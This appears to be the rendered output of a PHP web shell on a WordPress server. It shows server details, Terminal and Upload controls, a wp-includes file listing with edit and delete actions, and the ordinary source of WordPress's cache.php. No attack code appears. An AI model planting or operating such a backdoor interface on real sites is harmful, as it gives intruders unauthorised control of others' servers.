7.4.33 | Linux x86_64
Server128.199.10.0
Userwww-data (uid:33)
PHP7.4.33 (apache2handler)
Terminal
Upload
Files: /var/www/html/wp-includes
View: cache.php
<?php /** * Object Cache API * * @link https://developer.wordpress.org/reference/classes/wp_object_cache/ * * @package WordPress * @subpackage Cache */ /** WP_Object_Cache class */ require_once ABSPATH . WPINC . '/class-wp-object-cache.php'; /** * Sets up Object Cache Global and assigns it. * * @since 2.0.0 * * @global WP_Object_Cache $wp_object_cache */ function wp_cache_init() { $GLOBALS['wp_object_cache'] = new WP_Object_Cache(); } /** * Adds data to the cache, if the cache key doesn't already exist. * * @since 2.0.0 * * @see WP_Object_Cache::add() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to use for retrieval later. * @param mixed $data The data to add to the cache. * @param string $group Optional. The group to add the cache to. Enables the same key * to be used across groups. Default empty. * @param int $expire Optional. When the cache data should expire, in seconds. * Default 0 (no expiration). * @return bool True on success, false if cache key and group already exist. */ function wp_cache_add( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->add( $key, $data, $group, (int) $expire ); } /** * Adds multiple values to the cache in one call. * * @since 6.0.0 * * @see WP_Object_Cache::add_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $data Array of keys and values to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if cache key and group already exist. */ function wp_cache_add_multiple( array $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->add_multiple( $data, $group, (int) $expire ); } /** * Replaces the contents of the cache with new data. * * @since 2.0.0 * * @see WP_Object_Cache::replace() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key for the cache data that should be replaced. * @param mixed $data The new data to store in the cache. * @param string $group Optional. The group for the cache data that should be replaced. * Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True if contents were replaced, false if original value does not exist. */ function wp_cache_replace( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->replace( $key, $data, $group, (int) $expire ); } /** * Saves the data to the cache. * * Differs from wp_cache_add() and wp_cache_replace() in that it will always write data. * * @since 2.0.0 * * @see WP_Object_Cache::set() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to use for retrieval later. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Enables the same key * to be used across groups. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True on success, false on failure. */ function wp_cache_set( $key, $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->set( $key, $data, $group, (int) $expire ); } /** * Sets multiple values to the cache in one call. * * @since 6.0.0 * * @see WP_Object_Cache::set_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $data Array of keys and values to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false on failure. */ function wp_cache_set_multiple( array $data, $group = '', $expire = 0 ) { global $wp_object_cache; return $wp_object_cache->set_multiple( $data, $group, (int) $expire ); } /** * Retrieves the cache contents from the cache by key and group. * * @since 2.0.0 * * @see WP_Object_Cache::get() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @param bool|null $found Optional. Whether the key was found in the cache (passed by reference). * Disambiguates a return of false, a storable value. Default null. * @return mixed|false The cache contents on success, false on failure to retrieve contents. */ function wp_cache_get( $key, $group = '', $force = false, &$found = null ) { global $wp_object_cache; return $wp_object_cache->get( $key, $group, $force, $found ); } /** * Retrieves multiple values from the cache in one call. * * @since 5.5.0 * * @see WP_Object_Cache::get_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of return values, grouped by key. Each value is either * the cache contents on success, or false on failure. */ function wp_cache_get_multiple( $keys, $group = '', $force = false ) { global $wp_object_cache; return $wp_object_cache->get_multiple( $keys, $group, $force ); } /** * Removes the cache contents matching key and group. * * @since 2.0.0 * * @see WP_Object_Cache::delete() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key What the contents in the cache are called. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool True on successful removal, false on failure. */ function wp_cache_delete( $key, $group = '' ) { global $wp_object_cache; return $wp_object_cache->delete( $key, $group ); } /** * Deletes multiple values from the cache in one call. * * @since 6.0.0 * * @see WP_Object_Cache::delete_multiple() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param array $keys Array of keys under which the cache to deleted. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if the contents were not deleted. */ function wp_cache_delete_multiple( array $keys, $group = '' ) { global $wp_object_cache; return $wp_object_cache->delete_multiple( $keys, $group ); } /** * Increments numeric cache item's value. * * @since 3.3.0 * * @see WP_Object_Cache::incr() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The key for the cache contents that should be incremented. * @param int $offset Optional. The amount by which to increment the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default empty. * @return int|false The item's new value on success, false on failure. */ function wp_cache_incr( $key, $offset = 1, $group = '' ) { global $wp_object_cache; return $wp_object_cache->incr( $key, $offset, $group ); } /** * Decrements numeric cache item's value. * * @since 3.3.0 * * @see WP_Object_Cache::decr() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int|string $key The cache key to decrement. * @param int $offset Optional. The amount by which to decrement the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default empty. * @return int|false The item's new value on success, false on failure. */ function wp_cache_decr( $key, $offset = 1, $group = '' ) { global $wp_object_cache; return $wp_object_cache->decr( $key, $offset, $group ); } /** * Removes all cache items. * * @since 2.0.0 * * @see WP_Object_Cache::flush() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @return bool True on success, false on failure. */ function wp_cache_flush() { global $wp_object_cache; return $wp_object_cache->flush(); } /** * Removes all cache items from the in-memory runtime cache. * * @since 6.0.0 * * @see WP_Object_Cache::flush() * * @return bool True on success, false on failure. */ function wp_cache_flush_runtime() { return wp_cache_flush(); } /** * Removes all cache items in a group, if the object cache implementation supports it. * * Before calling this function, always check for group flushing support using the * `wp_cache_supports( 'flush_group' )` function. * * @since 6.1.0 * * @see WP_Object_Cache::flush_group() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param string $group Name of group to remove from cache. * @return bool True if group was flushed, false otherwise. */ function wp_cache_flush_group( $group ) { global $wp_object_cache; return $wp_object_cache->flush_group( $group ); } /** * Determines whether the object cache implementation supports a particular feature. * * @since 6.1.0 * * @param string $feature Name of the feature to check for. Possible values include: * 'add_multiple', 'set_multiple', 'get_multiple', 'delete_multiple', * 'flush_runtime', 'flush_group'. * @return bool True if the feature is supported, false otherwise. */ function wp_cache_supports( $feature ) { switch ( $feature ) { case 'add_multiple': case 'set_multiple': case 'get_multiple': case 'delete_multiple': case 'flush_runtime': case 'flush_group': return true; default: return false; } } /** * Closes the cache. * * This function has ceased to do anything since WordPress 2.5. The * functionality was removed along with the rest of the persistent cache. * * This does not mean that plugins can't implement this function when they need * to make sure that the cache is cleaned up after WordPress no longer needs it. * * @since 2.0.0 * * @return true Always returns true. */ function wp_cache_close() { return true; } /** * Adds a group or set of groups to the list of global groups. * * @since 2.6.0 * * @see WP_Object_Cache::add_global_groups() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param string|string[] $groups A group or an array of groups to add. */ function wp_cache_add_global_groups( $groups ) { global $wp_object_cache; $wp_object_cache->add_global_groups( $groups ); } /** * Adds a group or set of groups to the list of non-persistent groups. * * @since 2.6.0 * * @param string|string[] $groups A group or an array of groups to add. */ function wp_cache_add_non_persistent_groups( $groups ) { // Default cache doesn't persist so nothing to do here. } /** * Switches the internal blog ID. * * This changes the blog id used to create keys in blog specific groups. * * @since 3.5.0 * * @see WP_Object_Cache::switch_to_blog() * @global WP_Object_Cache $wp_object_cache Object cache global instance. * * @param int $blog_id Site ID. */ function wp_cache_switch_to_blog( $blog_id ) { global $wp_object_cache; $wp_object_cache->switch_to_blog( $blog_id ); } /** * Resets internal cache keys and structures. * * If the cache back end uses global blog or site IDs as part of its cache keys, * this function instructs the back end to reset those keys and perform any cleanup * since blog or site IDs have changed since cache init. * * This function is deprecated. Use wp_cache_switch_to_blog() instead of this * function when preparing the cache for a blog switch. For clearing the cache * during unit tests, consider using wp_cache_init(). wp_cache_init() is not * recommended outside of unit tests as the performance penalty for using it is high. * * @since 3.0.0 * @deprecated 3.5.0 Use wp_cache_switch_to_blog() * @see WP_Object_Cache::reset() * * @global WP_Object_Cache $wp_object_cache Object cache global instance. */ function wp_cache_reset() { _deprecated_function( __FUNCTION__, '3.5.0', 'wp_cache_switch_to_blog()' ); global $wp_object_cache; $wp_object_cache->reset(); }
NameSizeActions
ID3/--
IXR/--
PHPMailer/--
Requests/--
SimplePie/--
Text/--
abilities-api/--
abilities-api.php23.8KView Edit Del
abilities.php7.8KView Edit Del
admin-bar.php38.4KView Edit Del
ai-client/--
ai-client.php2.5KView Edit Del
assets/--
atomlib.php11.9KView Edit Del
author-template.php19.4KView Edit Del
block-bindings/--
block-bindings.php7.3KView Edit Del
block-editor.php28.1KView Edit Del
block-i18n.json316BView Edit Del
block-patterns/--
block-patterns.php15.2KView Edit Del
block-supports/--
block-template-utils.php61.3KView Edit Del
block-template.php17.8KView Edit Del
blocks/--
blocks.php116.6KView Edit Del
bookmark-template.php12.5KView Edit Del
bookmark.php15.1KView Edit Del
build/--
cache-compat.php10.8KView Edit Del
cache.php13.2KView Edit Del
canonical.php33.8KView Edit Del
capabilities.php42.6KView Edit Del
category-template.php55.6KView Edit Del
category.php12.5KView Edit Del
certificates/--
class-IXR.php2.6KView Edit Del
class-avif-info.php29.3KView Edit Del
class-feed.php539BView Edit Del
class-http.php367BView Edit Del
class-json.php42.7KView Edit Del
class-oembed.php401BView Edit Del
class-phpass.php6.6KView Edit Del
class-phpmailer.php664BView Edit Del
class-pop3.php20.6KView Edit Del
class-requests.php2.2KView Edit Del
class-simplepie.php453BView Edit Del
class-smtp.php457BView Edit Del
class-snoopy.php36.8KView Edit Del
class-walker-category-dropdown.php2.4KView Edit Del
class-walker-category.php8.3KView Edit Del
class-walker-comment.php13.9KView Edit Del
class-walker-nav-menu.php11.8KView Edit Del
class-walker-page-dropdown.php2.6KView Edit Del
class-walker-page.php7.4KView Edit Del
class-wp-admin-bar.php17.6KView Edit Del
class-wp-ajax-response.php5.1KView Edit Del
class-wp-application-passwords.php16.7KView Edit Del
class-wp-block-bindings-registry.php8.1KView Edit Del
class-wp-block-bindings-source.php2.9KView Edit Del
class-wp-block-editor-context.php1.3KView Edit Del
class-wp-block-list.php4.6KView Edit Del
class-wp-block-metadata-registry.php11.6KView Edit Del
class-wp-block-parser-block.php2.5KView Edit Del
class-wp-block-parser-frame.php1.9KView Edit Del
class-wp-block-parser.php11.3KView Edit Del
class-wp-block-pattern-categories-registry.php4.3KView Edit Del
class-wp-block-patterns-registry.php10.1KView Edit Del
class-wp-block-processor.php68.3KView Edit Del
class-wp-block-styles-registry.php6.3KView Edit Del
class-wp-block-supports.php6.4KView Edit Del
class-wp-block-template.php2KView Edit Del
class-wp-block-templates-registry.php6.9KView Edit Del
class-wp-block-type-registry.php4.9KView Edit Del
class-wp-block-type.php16.8KView Edit Del
class-wp-block.php24.1KView Edit Del
class-wp-classic-to-block-menu-converter.php3.9KView Edit Del
class-wp-comment-query.php47.5KView Edit Del
class-wp-comment.php9.2KView Edit Del
class-wp-connector-registry.php14.1KView Edit Del
class-wp-customize-control.php25.5KView Edit Del
class-wp-customize-manager.php198.1KView Edit Del
class-wp-customize-nav-menus.php56.6KView Edit Del
class-wp-customize-panel.php10.5KView Edit Del
class-wp-customize-section.php10.9KView Edit Del
class-wp-customize-setting.php29.3KView Edit Del
class-wp-customize-widgets.php70.9KView Edit Del
class-wp-date-query.php35.1KView Edit Del
class-wp-dependencies.php16.7KView Edit Del
class-wp-dependency.php2.6KView Edit Del
class-wp-duotone.php40KView Edit Del
class-wp-editor.php70.5KView Edit Del
class-wp-embed.php15.5KView Edit Del
class-wp-error.php7.3KView Edit Del
class-wp-exception.php253BView Edit Del
class-wp-fatal-error-handler.php8KView Edit Del
class-wp-feed-cache-transient.php3.2KView Edit Del
class-wp-feed-cache.php969BView Edit Del
class-wp-hook.php16.2KView Edit Del
class-wp-http-cookie.php7.1KView Edit Del
class-wp-http-curl.php13KView Edit Del
class-wp-http-encoding.php6.5KView Edit Del
class-wp-http-ixr-client.php3.4KView Edit Del
class-wp-http-proxy.php5.8KView Edit Del
class-wp-http-requests-hooks.php2KView Edit Del
class-wp-http-requests-response.php4.1KView Edit Del
class-wp-http-response.php2.9KView Edit Del
class-wp-http-streams.php16.4KView Edit Del
class-wp-http.php40.7KView Edit Del
class-wp-icons-registry.php7.7KView Edit Del
class-wp-image-editor-gd.php20.2KView Edit Del
class-wp-image-editor-imagick.php36.1KView Edit Del
class-wp-image-editor.php17KView Edit Del
class-wp-list-util.php7.3KView Edit Del
class-wp-locale-switcher.php6.6KView Edit Del
class-wp-locale.php16.5KView Edit Del
class-wp-matchesmapregex.php1.8KView Edit Del
class-wp-meta-query.php29.8KView Edit Del
class-wp-metadata-lazyloader.php6.7KView Edit Del
class-wp-navigation-fallback.php9KView Edit Del
class-wp-network-query.php19.3KView Edit Del
class-wp-network.php12KView Edit Del
class-wp-object-cache.php17.1KView Edit Del
class-wp-oembed-controller.php6.7KView Edit Del
class-wp-oembed.php30.9KView Edit Del
class-wp-paused-extensions-storage.php4.9KView Edit Del
class-wp-phpmailer.php4.2KView Edit Del
class-wp-plugin-dependencies.php24.6KView Edit Del
class-wp-post-type.php30KView Edit Del
class-wp-post.php6.3KView Edit Del
class-wp-query.php159.5KView Edit Del
class-wp-recovery-mode-cookie-service.php6.7KView Edit Del
class-wp-recovery-mode-email-service.php10.9KView Edit Del
class-wp-recovery-mode-key-service.php4.8KView Edit Del
class-wp-recovery-mode-link-service.php3.4KView Edit Del
class-wp-recovery-mode.php11.2KView Edit Del
class-wp-rewrite.php62.2KView Edit Del
class-wp-role.php2.5KView Edit Del
class-wp-roles.php9.1KView Edit Del
class-wp-script-modules.php39.6KView Edit Del
class-wp-scripts.php35.9KView Edit Del
class-wp-session-tokens.php7.1KView Edit Del
class-wp-simplepie-file.php3.5KView Edit Del
class-wp-simplepie-sanitize-kses.php1.9KView Edit Del
class-wp-site-query.php30.7KView Edit Del
class-wp-site.php7.3KView Edit Del
class-wp-speculation-rules.php7.4KView Edit Del
class-wp-styles.php13KView Edit Del
class-wp-tax-query.php19.1KView Edit Del
class-wp-taxonomy.php18.1KView Edit Del
class-wp-term-query.php39.8KView Edit Del
class-wp-term.php5.1KView Edit Del
class-wp-text-diff-renderer-inline.php979BView Edit Del
class-wp-text-diff-renderer-table.php18.5KView Edit Del
class-wp-textdomain-registry.php10.2KView Edit Del
class-wp-theme-json-data.php1.8KView Edit Del
class-wp-theme-json-resolver.php34.9KView Edit Del
class-wp-theme-json-schema.php7.2KView Edit Del
class-wp-theme-json.php169.6KView Edit Del
class-wp-theme.php64.2KView Edit Del
class-wp-token-map.php27.9KView Edit Del
class-wp-url-pattern-prefixer.php4.7KView Edit Del
class-wp-user-meta-session-tokens.php2.9KView Edit Del
class-wp-user-query.php43.1KView Edit Del
class-wp-user-request.php2.3KView Edit Del
class-wp-user.php22.5KView Edit Del
class-wp-walker.php13KView Edit Del
class-wp-widget-factory.php3.3KView Edit Del
class-wp-widget.php18KView Edit Del
class-wp-xmlrpc-server.php210KView Edit Del
class-wp.php25.8KView Edit Del
class-wpdb.php115.9KView Edit Del
class.wp-dependencies.php373BView Edit Del
class.wp-scripts.php343BView Edit Del
class.wp-styles.php338BView Edit Del
collaboration/--
collaboration.php2.1KView Edit Del
comment-template.php100.8KView Edit Del
comment.php130.9KView Edit Del
compat-utf8.php19.1KView Edit Del
compat.php15.7KView Edit Del
connectors.php23.5KView Edit Del
cron.php43.9KView Edit Del
css/--
customize/--
date.php400BView Edit Del
default-constants.php11.1KView Edit Del
default-filters.php36.5KView Edit Del
default-widgets.php2.2KView Edit Del
deprecated.php189.4KView Edit Del
embed-template.php338BView Edit Del
embed.php38KView Edit Del
error-protection.php4KView Edit Del
feed-atom-comments.php5.4KView Edit Del
feed-atom.php3KView Edit Del
feed-rdf.php2.6KView Edit Del
feed-rss.php1.2KView Edit Del
feed-rss2-comments.php4KView Edit Del
feed-rss2.php3.7KView Edit Del
feed.php24.6KView Edit Del
fonts/--
fonts.php9.6KView Edit Del
formatting.php346.4KView Edit Del
functions.php283.5KView Edit Del
functions.wp-scripts.php20KView Edit Del
functions.wp-styles.php8.5KView Edit Del
general-template.php170.8KView Edit Del
global-styles-and-settings.php20.3KView Edit Del
html-api/--
http.php26.6KView Edit Del
https-detection.php5.7KView Edit Del
https-migration.php4.6KView Edit Del
images/--
interactivity-api/--
js/--
kses.php80.6KView Edit Del
l10n/--
l10n.php69.7KView Edit Del
link-template.php156.4KView Edit Del
load.php55.2KView Edit Del
locale.php162BView Edit Del
media-template.php61.8KView Edit Del
media.php218.5KView Edit Del
meta.php65.2KView Edit Del
ms-blogs.php25.7KView Edit Del
ms-default-constants.php4.8KView Edit Del
ms-default-filters.php6.5KView Edit Del
ms-deprecated.php21.2KView Edit Del
ms-files.php2.8KView Edit Del
ms-functions.php89.7KView Edit Del
ms-load.php19.6KView Edit Del
ms-network.php3.7KView Edit Del
ms-settings.php4.1KView Edit Del
ms-site.php40.8KView Edit Del
nav-menu-template.php25.4KView Edit Del
nav-menu.php43.2KView Edit Del
option.php102.6KView Edit Del
php-ai-client/--
php-compat/--
pluggable-deprecated.php6.2KView Edit Del
pluggable.php124.6KView Edit Del
plugin.php35.6KView Edit Del
pomo/--
post-formats.php6.9KView Edit Del
post-template.php67KView Edit Del
post-thumbnail-template.php10.6KView Edit Del
post.php289.6KView Edit Del
query.php36.2KView Edit Del
registration-functions.php200BView Edit Del
registration.php200BView Edit Del
rest-api/--
rest-api.php98.5KView Edit Del
revision.php30KView Edit Del
rewrite.php19KView Edit Del
robots-template.php5.1KView Edit Del
rss-functions.php255BView Edit Del
rss.php22.7KView Edit Del
script-loader.php159.3KView Edit Del
script-modules.php11.7KView Edit Del
session.php258BView Edit Del
shortcodes.php23.5KView Edit Del
sitemaps/--
sitemaps.php3.2KView Edit Del
sodium_compat/--
speculative-loading.php8.4KView Edit Del
spl-autoload-compat.php441BView Edit Del
style-engine/--
style-engine.php7.4KView Edit Del
taxonomy.php173KView Edit Del
template-canvas.php544BView Edit Del
template-loader.php4.2KView Edit Del
template.php36KView Edit Del
theme-compat/--
theme-i18n.json1.8KView Edit Del
theme-previews.php2.8KView Edit Del
theme-templates.php4KView Edit Del
theme.json8.8KView Edit Del
theme.php131.5KView Edit Del
update.php37.4KView Edit Del
user.php174.6KView Edit Del
utf8.php7.1KView Edit Del
vars.php6.5KView Edit Del
version.php1.1KView Edit Del
view-transitions.php602BView Edit Del
widgets/--
widgets.php69.2KView Edit Del
wp-db.php445BView Edit Del
wp-diff.php799BView Edit Del